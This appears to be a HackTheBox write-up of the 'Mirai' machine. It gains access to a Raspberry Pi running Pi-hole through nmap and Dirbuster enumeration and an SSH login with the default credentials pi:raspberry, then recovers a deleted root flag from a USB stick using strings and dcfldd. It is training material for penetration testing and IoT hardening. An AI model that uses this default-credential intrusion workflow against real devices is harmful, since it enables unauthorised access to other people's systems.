Mirai - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐☆☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Mirai demonstrates one of the fastest-growing attack vectors in modern times: improperly configured IoT devices. This Raspberry Pi machine runs a Pi-hole DNS sinkhole with default credentials left unchanged. By identifying the device type through web enumeration and leveraging the default Raspbian credentials (pi:raspberry), full system access is gained immediately. The challenge then pivots to forensic file recovery, requiring recovery of a deleted root flag from a mounted USB stick using data recovery techniques.

TL;DR: Enumerate web services → identify Pi-hole/Raspbian → SSH with default credentials (pi:raspberry) → obtain user flag → recover deleted root flag from /media/usbstick using strings or forensic imaging.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.48

Results:

Service Enumeration

The target exposes an HTTP service on port 80 serving a blank page. Using Dirbuster with the lowercase medium wordlist reveals several directories including /admin, which presents a Pi-hole admin dashboard. This immediately identifies the target as a Raspberry Pi running Raspbian with Pi-hole DNS sinkhole software.

Additional services include:

• SSH (port 22): OpenSSH service available for remote login
• DNS (port 53): dnsmasq DNS server
• UPnP (port 1900): Standard IoT device discovery protocol
• Plex (port 32400): Media server application

Vulnerability Assessment

Identified Issues:

1. Default Credentials: Raspbian ships with default credentials (pi:raspberry) that remain unchanged
2. Privilege Configuration: The default pi user is configured in the sudoers group, allowing privilege escalation without a password
3. IoT Device Misconfiguration: No hardening applied to the Raspberry Pi operating system
4. Deleted File Recovery: Root flag intentionally deleted from USB stick, recoverable via forensic techniques

Initial Foothold

Exploitation Path

Step 1: Identify Default Credentials

Based on the Pi-hole dashboard discovery and knowledge of the Mirai botnet’s exploitation patterns, we attempt the default Raspbian credentials:

ssh pi@10.10.10.48
# Password: raspberry

Step 2: Gain SSH Access

# Connection successful - pi user is logged in
pi@raspberrypi:~$ whoami
pi

pi@raspberrypi:~$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(netdev),999(gpio),998(input),997(i2c),996(spi)

Step 3: Retrieve User Flag

pi@raspberrypi:~$ cat /home/pi/Desktop/user.txt
<redacted>

Step 4: Locate Root Flag Anomaly

pi@raspberrypi:~$ cat /root/root.txt
I lost my original root.txt! I think I may have a backup on my USB stick…

The root flag is not present in the typical location. Instead, a hint indicates the flag has been deleted and backed up on a USB stick.

Privilege Escalation

Forensic File Recovery

Step 1: Identify Mounted Drives

pi@raspberrypi:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/root       9.1G  2.5G  6.2G  29% /
devtmpfs        486M     0  486M   0% /dev
tmpfs           490M     0  490M   0% /tmp
tmpfs           490M     0  490M   0% /run
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
tmpfs           490M     0  490M   0% /sys/fs/cgroup
/dev/sdb        8.7M  21K  8.6M   1% /media/usbstick

The USB stick is mounted at /media/usbstick corresponding to /dev/sdb.

Step 2: Examine USB Stick Contents

pi@raspberrypi:~$ ls -la /media/usbstick/
total 18
drwxr-xr-x  3 root root  1024 Oct  3  2017 .
drwxr-xr-x  3 root root  4096 Jul  2  2021 ..
-rw-r--r--  1 root root    48 Oct  3  2017 damnit.txt

pi@raspberrypi:~$ cat /media/usbstick/damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.

Do you know if there is any way to get them back?

-James

The root flag has been deleted. The lost+found directory yields no results.

Step 3: Recover Flag via Strings (Quick Method)

The fastest recovery method is running strings directly on the device:

pi@raspberrypi:~$ sudo strings /dev/sdb | grep -i "flag\|root"
# This will reveal the root flag among the raw data

Alternative Step 3: Forensic Imaging (Detailed Method)

For a more thorough approach, create a forensic image of the USB stick:

pi@raspberrypi:~$ sudo dcfldd if=/dev/sdb of=/home/pi/usb.dd
# dcfldd version 1.3.4 -- improved dcopy
# Pattern: 0x00
# 18432 sectors (9.0 MB) copied.

# Transfer the image to attacking machine
scp pi@10.10.10.48:/home/pi/usb.dd .

Step 4: Extract Flag from Image

# On the attacking machine, use strings to search the image
strings usb.dd | grep -E "^[a-f0-9]{32}$|flag|root"

# Or use testdisk for recovery analysis
testdisk usb.dd

# Or open with a hex editor and search for readable text patterns
xxd usb.dd | less

The root flag will be recoverable from the raw device data, even though the filesystem metadata has been cleared.

Attack Chain Summary

Enumerate ports (nmap)
    ↓
Discover web service (port 80)
    ↓
Directory fuzzing reveals /admin (Dirbuster)
    ↓
Identify Pi-hole dashboard → Recognize Raspberry Pi/Raspbian
    ↓
SSH with default credentials (pi:raspberry)
    ↓
Obtain user flag from /home/pi/Desktop/user.txt
    ↓
Discover root flag missing, hint points to USB stick
    ↓
Identify mounted USB at /media/usbstick (/dev/sdb)
    ↓
Recover deleted root flag via strings or forensic imaging
    ↓
Root flag obtained

Tools Used

Key Learnings

Techniques Practiced

• Identification of IoT devices through service enumeration and web interface analysis
• Default credential exploitation on consumer-grade devices
• Understanding the Mirai botnet attack vector and its prevalence in compromising IoT infrastructure
• Forensic file recovery from deleted filesystem entries
• Raw device data extraction and analysis using strings and hex editors
• Forensic disk imaging for off-system analysis
• Privilege escalation through sudoers group membership without password requirement

Lessons Learned

1. Default Credentials are Critical: IoT devices shipped with unchanged default credentials represent one of the easiest exploitation paths. Always check manufacturer defaults before attempting complex exploitation.

2. Device Fingerprinting: Web dashboards and service banners make device identification trivial. Pi-hole’s admin interface immediately revealed the operating system and device type.

3. Deleted Data Persistence: Deleting files only removes filesystem metadata. Raw data often remains on storage media and can be recovered through forensic techniques or even simple string extraction.

4. Privilege Escalation Design: The pi user’s sudoers membership without password requirement is a significant configuration flaw that bypasses authentication entirely.

5. Real-World IoT Risk: This machine demonstrates actual vulnerabilities seen in deployed IoT devices globally. Mirai specifically exploited millions of devices with exactly this configuration weakness.

6. Defense in Depth: A single security layer (filesystem deletion) failed because the underlying block device remained readable. Multiple layers (encryption, secure deletion) would have been required.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>